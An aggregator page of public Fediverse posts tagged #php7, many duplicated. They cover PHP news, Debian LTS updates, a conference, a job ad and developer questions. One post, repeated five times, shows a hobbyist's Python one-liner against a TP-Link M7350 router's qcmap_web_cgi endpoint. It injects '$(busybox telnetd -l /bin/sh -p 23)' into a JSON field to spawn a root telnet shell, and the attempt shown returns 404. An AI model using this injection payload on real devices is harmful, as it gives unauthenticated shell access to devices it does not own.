home.social

#php7 — Public Fediverse posts

Live and recent posts from across the Fediverse tagged #php7, aggregated by home.social.

  1. PHP #Foundation welcomes #Elizabeth #Barron, clearly hoping her executive powers will magically fix #spaghetti #code 🍝✨. Maybe she'll summon #PHP 7.5 to finally do its own dishes, but hey, at least they'll have someone else to blame now 🙈.
    thephp.foundation/blog/2026/02 #PHP7.5 #softwaredevelopment #humor #HackerNews #ngated

  2. How very.. #odd
    After a slight #lighhttpd change
    ----------------
    server.modules = (
    / # # Uncomment the CGI assignment line
    / # sed -i 's|^#cgi.assign.*|cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )|' /etc/lighttpd.conf
    / # grep -n "cgi.assign" /etc/lighttpd.conf
    141: cgi.assign = ( "" => "" )
    144: cgi.assign = ( "" => "" )
    248:cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )
    /
    -------------

    and rebooting the #m7350 now #telnet will not renable again with the script.

    Whats even weirder.

    qcmap_web_cgi throws a 404..
    I'm eternally confused

    We still get a token no problemo, but somehow telnet is now closed and stays ?
    (Why would a router reboot or slight lighttpd change cause this ?)

    Should've enabled #adb while I had the chance haha.

    Not eternally sad as I was running into brickwalls left and right with #php7 8 and #python ..
    And even #perl has issues Ohwell




    C:\Users\User>python -c "import requests; r=requests.post('http://192.168.0.1/qcmap_web_cgi', json={'token':'WPL3qTwBJ8YSmbz1','module':'webServer','action':1,'language':'\$(busybox telnetd -l /bin/sh -p 23)'}, headers={'Cookie':'tpweb_token=WPL3qTwBJ8YSmbz1'}); print(r.status_code, r.text)"
    <string>&#58;1&#58; SyntaxWarning&#58; invalid escape sequence '\$'
    404 <?xml version="1.0" encoding="iso-8859-1"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http&#58;//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http&#58;//www.w3.org/1999/xhtml" xml&#58;lang="en" lang="en">
    <head>
    <title>404 - Not Found</title>
    </head>
    <body>
    <h1>404 - Not Found</h1>
    </body>
    </html>






    #repost •acws #acws
  3. How very.. #odd
    After a slight #lighhttpd change
    ----------------
    server.modules = (
    / # # Uncomment the CGI assignment line
    / # sed -i 's|^#cgi.assign.*|cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )|' /etc/lighttpd.conf
    / # grep -n "cgi.assign" /etc/lighttpd.conf
    141: cgi.assign = ( "" => "" )
    144: cgi.assign = ( "" => "" )
    248:cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )
    /
    -------------

    and rebooting the #m7350 now #telnet will not renable again with the script.

    Whats even weirder.

    qcmap_web_cgi throws a 404..
    I'm eternally confused

    We still get a token no problemo, but somehow telnet is now closed and stays ?
    (Why would a router reboot or slight lighttpd change cause this ?)

    Should've enabled #adb while I had the chance haha.

    Not eternally sad as I was running into brickwalls left and right with #php7 8 and #python ..
    And even #perl has issues Ohwell




    C&#58;\Users\User>python -c "import requests; r=requests.post('http&#58;//192.168.0.1/qcmap_web_cgi', json={'token'&#58;'WPL3qTwBJ8YSmbz1','module'&#58;'webServer','action'&#58;1,'language'&#58;'\$(busybox telnetd -l /bin/sh -p 23)'}, headers={'Cookie'&#58;'tpweb_token=WPL3qTwBJ8YSmbz1'}); print(r.status_code, r.text)"
    <string>&#58;1&#58; SyntaxWarning&#58; invalid escape sequence '\$'
    404 <?xml version="1.0" encoding="iso-8859-1"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http&#58;//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http&#58;//www.w3.org/1999/xhtml" xml&#58;lang="en" lang="en">
    <head>
    <title>404 - Not Found</title>
    </head>
    <body>
    <h1>404 - Not Found</h1>
    </body>
    </html>






    #repost •acws #acws
  4. How very.. #odd
    After a slight #lighhttpd change
    ----------------
    server.modules = (
    / # # Uncomment the CGI assignment line
    / # sed -i 's|^#cgi.assign.*|cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )|' /etc/lighttpd.conf
    / # grep -n "cgi.assign" /etc/lighttpd.conf
    141: cgi.assign = ( "" => "" )
    144: cgi.assign = ( "" => "" )
    248:cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )
    /
    -------------

    and rebooting the #m7350 now #telnet will not renable again with the script.

    Whats even weirder.

    qcmap_web_cgi throws a 404..
    I'm eternally confused

    We still get a token no problemo, but somehow telnet is now closed and stays ?
    (Why would a router reboot or slight lighttpd change cause this ?)

    Should've enabled #adb while I had the chance haha.

    Not eternally sad as I was running into brickwalls left and right with #php7 8 and #python ..
    And even #perl has issues Ohwell




    C&#58;\Users\User>python -c "import requests; r=requests.post('http&#58;//192.168.0.1/qcmap_web_cgi', json={'token'&#58;'WPL3qTwBJ8YSmbz1','module'&#58;'webServer','action'&#58;1,'language'&#58;'\$(busybox telnetd -l /bin/sh -p 23)'}, headers={'Cookie'&#58;'tpweb_token=WPL3qTwBJ8YSmbz1'}); print(r.status_code, r.text)"
    <string>&#58;1&#58; SyntaxWarning&#58; invalid escape sequence '\$'
    404 <?xml version="1.0" encoding="iso-8859-1"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http&#58;//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http&#58;//www.w3.org/1999/xhtml" xml&#58;lang="en" lang="en">
    <head>
    <title>404 - Not Found</title>
    </head>
    <body>
    <h1>404 - Not Found</h1>
    </body>
    </html>






    #repost •acws #acws
  5. How very.. #odd
    After a slight #lighhttpd change
    ----------------
    server.modules = (
    / # # Uncomment the CGI assignment line
    / # sed -i 's|^#cgi.assign.*|cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )|' /etc/lighttpd.conf
    / # grep -n "cgi.assign" /etc/lighttpd.conf
    141: cgi.assign = ( "" => "" )
    144: cgi.assign = ( "" => "" )
    248:cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )
    /
    -------------

    and rebooting the #m7350 now #telnet will not renable again with the script.

    Whats even weirder.

    qcmap_web_cgi throws a 404..
    I'm eternally confused

    We still get a token no problemo, but somehow telnet is now closed and stays ?
    (Why would a router reboot or slight lighttpd change cause this ?)

    Should've enabled #adb while I had the chance haha.

    Not eternally sad as I was running into brickwalls left and right with #php7 8 and #python ..
    And even #perl has issues Ohwell




    C&#58;\Users\User>python -c "import requests; r=requests.post('http&#58;//192.168.0.1/qcmap_web_cgi', json={'token'&#58;'WPL3qTwBJ8YSmbz1','module'&#58;'webServer','action'&#58;1,'language'&#58;'\$(busybox telnetd -l /bin/sh -p 23)'}, headers={'Cookie'&#58;'tpweb_token=WPL3qTwBJ8YSmbz1'}); print(r.status_code, r.text)"
    <string>&#58;1&#58; SyntaxWarning&#58; invalid escape sequence '\$'
    404 <?xml version="1.0" encoding="iso-8859-1"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http&#58;//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http&#58;//www.w3.org/1999/xhtml" xml&#58;lang="en" lang="en">
    <head>
    <title>404 - Not Found</title>
    </head>
    <body>
    <h1>404 - Not Found</h1>
    </body>
    </html>






    #repost •acws #acws
  6. How very.. #odd
    After a slight #lighhttpd change
    ----------------
    server.modules = (
    / # # Uncomment the CGI assignment line
    / # sed -i 's|^#cgi.assign.*|cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )|' /etc/lighttpd.conf
    / # grep -n "cgi.assign" /etc/lighttpd.conf
    141: cgi.assign = ( "" => "" )
    144: cgi.assign = ( "" => "" )
    248:cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl" )
    /
    -------------

    and rebooting the #m7350 now #telnet will not renable again with the script.

    Whats even weirder.

    qcmap_web_cgi throws a 404..
    I'm eternally confused

    We still get a token no problemo, but somehow telnet is now closed and stays ?
    (Why would a router reboot or slight lighttpd change cause this ?)

    Should've enabled #adb while I had the chance haha.

    Not eternally sad as I was running into brickwalls left and right with #php7 8 and #python ..
    And even #perl has issues Ohwell




    C&#58;\Users\User>python -c "import requests; r=requests.post('http&#58;//192.168.0.1/qcmap_web_cgi', json={'token'&#58;'WPL3qTwBJ8YSmbz1','module'&#58;'webServer','action'&#58;1,'language'&#58;'\$(busybox telnetd -l /bin/sh -p 23)'}, headers={'Cookie'&#58;'tpweb_token=WPL3qTwBJ8YSmbz1'}); print(r.status_code, r.text)"
    <string>&#58;1&#58; SyntaxWarning&#58; invalid escape sequence '\$'
    404 <?xml version="1.0" encoding="iso-8859-1"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http&#58;//www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http&#58;//www.w3.org/1999/xhtml" xml&#58;lang="en" lang="en">
    <head>
    <title>404 - Not Found</title>
    </head>
    <body>
    <h1>404 - Not Found</h1>
    </body>
    </html>






    #repost •acws #acws
  7. So you are trying to tell me that noone bothered to archive these #entware files
    1592
    phodav_2.5-1_armv7-3.2.ipk 18-Apr-2021 13:23 28453
    php7-cgi_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 1507945
    php7-cli_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 1527762
    php7-fastcgi_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 786
    php7-fpm_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 1562752
    php7-mod-bcmath_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 12214
    php7-mod-calendar_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 10578
    php7-mod-ctype_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 3104
    php7-mod-curl_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 33116
    php7-mod-dom_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 45322
    php7-mod-exif_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 27343
    php7-mod-fileinfo_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 401782
    php7-mod-filter_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 15741
    php7-mod-ftp_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 17577
    php7-mod-gd_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 26089
    php7-mod-gettext_7.4.16-1_armv7-3.2.ipk 19-Apr-2021 17:23 4391


    and now they are Gone ???

    What is the #IT community even doing anyways ?
    https://web.archive.org/web/20210613113743/https://bin.entware.net/armv7sf-k3.2/

    Now I can't get a 2.2.7 GLIBC to be able to use #php 8


    And I cannot get a #php7 which might just be compatible with my old one as there is no backup on da whole. wide. web

    A
    Ma
    Zing.


    :blobcatnotlike:

    #repost •acws #acws #m7350 #tplink
  8. The critical security updates for angular.js, tomcat9, mediawiki, php7.4 and more landed in Debian 11 "bullseye" by the efforts of the Debian LTS team in July 2025. The security tracker sprint involving members from the LTS team and Debian Security team also happened during July as part of DebCamp 25.

    Get the full report covering the details here: freexian.com/blog/debian-lts-r

    This work is funded by Freexian's Debian LTS offering. Your organization too can sponsor the Debian LTS (freexian.com/lts/debian/) and join the esteemed list of sponsors in the monthly report.

    #debianlts #freexian #angular #php7.4

  9. The critical security updates for angular.js, tomcat9, mediawiki, php7.4 and more landed in Debian 11 "bullseye" by the efforts of the Debian LTS team in July 2025. The security tracker sprint involving members from the LTS team and Debian Security team also happened during July as part of DebCamp 25.

    Get the full report covering the details here: freexian.com/blog/debian-lts-r

    This work is funded by Freexian's Debian LTS offering. Your organization too can sponsor the Debian LTS (freexian.com/lts/debian/) and join the esteemed list of sponsors in the monthly report.

    #debianlts #freexian #angular #php7.4

  10. The critical security updates for angular.js, tomcat9, mediawiki, php7.4 and more landed in Debian 11 "bullseye" by the efforts of the Debian LTS team in July 2025. The security tracker sprint involving members from the LTS team and Debian Security team also happened during July as part of DebCamp 25.

    Get the full report covering the details here: freexian.com/blog/debian-lts-r

    This work is funded by Freexian's Debian LTS offering. Your organization too can sponsor the Debian LTS (freexian.com/lts/debian/) and join the esteemed list of sponsors in the monthly report.

    .4

  11. The critical security updates for angular.js, tomcat9, mediawiki, php7.4 and more landed in Debian 11 "bullseye" by the efforts of the Debian LTS team in July 2025. The security tracker sprint involving members from the LTS team and Debian Security team also happened during July as part of DebCamp 25.

    Get the full report covering the details here: freexian.com/blog/debian-lts-r

    This work is funded by Freexian's Debian LTS offering. Your organization too can sponsor the Debian LTS (freexian.com/lts/debian/) and join the esteemed list of sponsors in the monthly report.

    #debianlts #freexian #angular #php7.4

  12. The critical security updates for angular.js, tomcat9, mediawiki, php7.4 and more landed in Debian 11 "bullseye" by the efforts of the Debian LTS team in July 2025. The security tracker sprint involving members from the LTS team and Debian Security team also happened during July as part of DebCamp 25.

    Get the full report covering the details here: freexian.com/blog/debian-lts-r

    This work is funded by Freexian's Debian LTS offering. Your organization too can sponsor the Debian LTS (freexian.com/lts/debian/) and join the esteemed list of sponsors in the monthly report.

    #debianlts #freexian #angular #php7.4

  13. Don't miss phpday 2025!🥳
    The community is looking forward to joining Verona as soon as possible.
    Tickets for 22nd edition are selling quickly!

    Few early bird tickets are available.
    🐤 bit.ly/3PPceLi

    #API #REST #Architectures #ContinuousDelivery #Database #Development #Devops #Frameworks #Internals #PHP7 #PHP8 #conference #networking #community

    -----
    #phpday - The gathering for the European PHP community.
    📍 Verona (Italy) | 📅 May 15-16, 2025

  14. Don't miss phpday 2025!🥳
    The community is looking forward to joining Verona as soon as possible.
    Tickets for 22nd edition are selling quickly!

    Few early bird tickets are available.
    🐤 bit.ly/3PPceLi

    #API #REST #Architectures #ContinuousDelivery #Database #Development #Devops #Frameworks #Internals #PHP7 #PHP8 #conference #networking #community

    -----
    #phpday - The gathering for the European PHP community.
    📍 Verona (Italy) | 📅 May 15-16, 2025

  15. I've made a thing. A simple file caching system for #PHP 🐘.
    Nothing special, nothing new, there are probably many similar libraries around. But it works well and I use it in some of my own projects.
    #backend #php7 #php8 #opensource
    codeberg.org/amarok24/microcac

  16. 📣The era of PHP5 support is coming to an end #WordPress! Join us on WPwatercooler tomorrow, Friday at 11am PT, 2pm ET, 1800 UTC for our latest episode live, "Breaking Changes: WordPress 6.3 Drops PHP5." 💻

    We'll be discussing the impactful shift from PHP5 to PHP7 and what this means for your site and the entire WordPress ecosystem.

    @jasontucker
    @boogah
    @skc

    🔗 Tune in live: wpwatercooler.com/devbranch/ep #PHP5 #PHP7 #security #WPwatercooler 🎙️

  17. The era of PHP5 support is coming to an end, marking a new phase in WordPress development. We’ll discuss how this shift from PHP5 to a minimum PHP7 support will impact both the end-users and the WordPress ecosystem at large. The episode will include the implications for those still using PHP5, and the benefits of the change, […]

    https://wpwatercooler.com/devbranch/ep29-breaking-changes-wordpress-6-3-drops-php5/

  18. Looking for #Laravel development #job in Germany.
    Ich spreche Deutsch auf mittlerem Niveau, aber meine Hauptsache ist Englisch.
    5 years industry experience in #php7 #vue3 #Laravel #git #agileDev #docker #aws #bash #es6 and always looking to learn more. Basic training in #ui #ux design, and currently working with #IONIC5 #ionicVue and #capacitor.
    Looking for remote opportunities leading to sponsorship and emigration to Germany.

    Humble, Hard worker, forthcoming and honest. Total imposter syndrome sometimes.

    #lookingForWork

  19. Looking for #Laravel development #job in Germany.
    Ich spreche Deutsch auf mittlerem Niveau, aber meine Hauptsache ist Englisch.
    5 years industry experience in #php7 #vue3 #Laravel #git #agileDev #docker #aws #bash #es6 and always looking to learn more. Basic training in #ui #ux design, and currently working with #IONIC5 #ionicVue and #capacitor.
    Looking for remote opportunities leading to sponsorship and emigration to Germany.

    Humble, Hard worker, forthcoming and honest. Total imposter syndrome sometimes.

    #lookingForWork

  20. Looking for #Laravel development #job in Germany.
    Ich spreche Deutsch auf mittlerem Niveau, aber meine Hauptsache ist Englisch.
    5 years industry experience in #php7 #vue3 #Laravel #git #agileDev #docker #aws #bash #es6 and always looking to learn more. Basic training in #ui #ux design, and currently working with #IONIC5 #ionicVue and #capacitor.
    Looking for remote opportunities leading to sponsorship and emigration to Germany.

    Humble, Hard worker, forthcoming and honest. Total imposter syndrome sometimes.

    #lookingForWork

  21. Looking for #Laravel development #job in Germany.
    Ich spreche Deutsch auf mittlerem Niveau, aber meine Hauptsache ist Englisch.
    5 years industry experience in #php7 #vue3 #Laravel #git #agileDev #docker #aws #bash #es6 and always looking to learn more. Basic training in #ui #ux design, and currently working with #IONIC5 #ionicVue and #capacitor.
    Looking for remote opportunities leading to sponsorship and emigration to Germany.

    Humble, Hard worker, forthcoming and honest. Total imposter syndrome sometimes.

    #lookingForWork

  22. Looking for #Laravel development #job in Germany.
    Ich spreche Deutsch auf mittlerem Niveau, aber meine Hauptsache ist Englisch.
    5 years industry experience in #php7 #vue3 #Laravel #git #agileDev #docker #aws #bash #es6 and always looking to learn more. Basic training in #ui #ux design, and currently working with #IONIC5 #ionicVue and #capacitor.
    Looking for remote opportunities leading to sponsorship and emigration to Germany.

    Humble, Hard worker, forthcoming and honest. Total imposter syndrome sometimes.

    #lookingForWork

  23. Ok, this might be a bit of a niche one but I'm massively stuck and could do with some help.

    Any #php devs out there that are using #pdo_sqlsrv on #php8 on an Apple Silicon machine?

    I keep getting an error `Unsupported processor architecture.`. The strange thing is that this works on our current dev environment on the #php7 branch

  24. Ok, this might be a bit of a niche one but I'm massively stuck and could do with some help.

    Any #php devs out there that are using #pdo_sqlsrv on #php8 on an Apple Silicon machine?

    I keep getting an error `Unsupported processor architecture.`. The strange thing is that this works on our current dev environment on the #php7 branch

  25. Ok, this might be a bit of a niche one but I'm massively stuck and could do with some help.

    Any #php devs out there that are using #pdo_sqlsrv on #php8 on an Apple Silicon machine?

    I keep getting an error `Unsupported processor architecture.`. The strange thing is that this works on our current dev environment on the #php7 branch

  26. Ok, this might be a bit of a niche one but I'm massively stuck and could do with some help.

    Any #php devs out there that are using #pdo_sqlsrv on #php8 on an Apple Silicon machine?

    I keep getting an error `Unsupported processor architecture.`. The strange thing is that this works on our current dev environment on the #php7 branch

  27. Ok, this might be a bit of a niche one but I'm massively stuck and could do with some help.

    Any #php devs out there that are using #pdo_sqlsrv on #php8 on an Apple Silicon machine?

    I keep getting an error `Unsupported processor architecture.`. The strange thing is that this works on our current dev environment on the #php7 branch

  28. Oh dear, I did not have on the radar that #owncloud does not move to #php8, but prefers to stick to almost-end-of-life #php7. 🤬 Now I am forced-migrating to #nextcloud... Fingers crossed that this works, my whole PIM is stored in a now-defunct oc10.10 installation... 😩

  29. Brent's latest PHP Version stats is out:

    Sad to see a whole 40% of PHP users now on an unsupported version!

    I wonder how many of these run a long term support fork?

    "This data beautifully visualizes the division within the PHP community: one part is keeping up with modern PHP, while another one stays helplessly behind."

    stitcher.io/blog/php-version-s

    #php #php8 #php7

  30. We released our second maintenance release for Hub 3, desktop client 3.6.4 and more. Time to update!

    Note: #PHP7.4 is now unmaintained, stay safe & update to 8.0 or 8.1!
    nextcloud.com/blog/maintenance

  31. Trying to figure out if there's any way in #PHP to detect if a parent class has implemented a given method that is also implemented by the current class.

    I had decided earlier that there wasn't, but I don't remember how thoroughly I had investigated it; this time, I'm adding some tests to my "what does PHP do when I do this" suite.

    So far, no luck; if anyone knows...

    #PHP7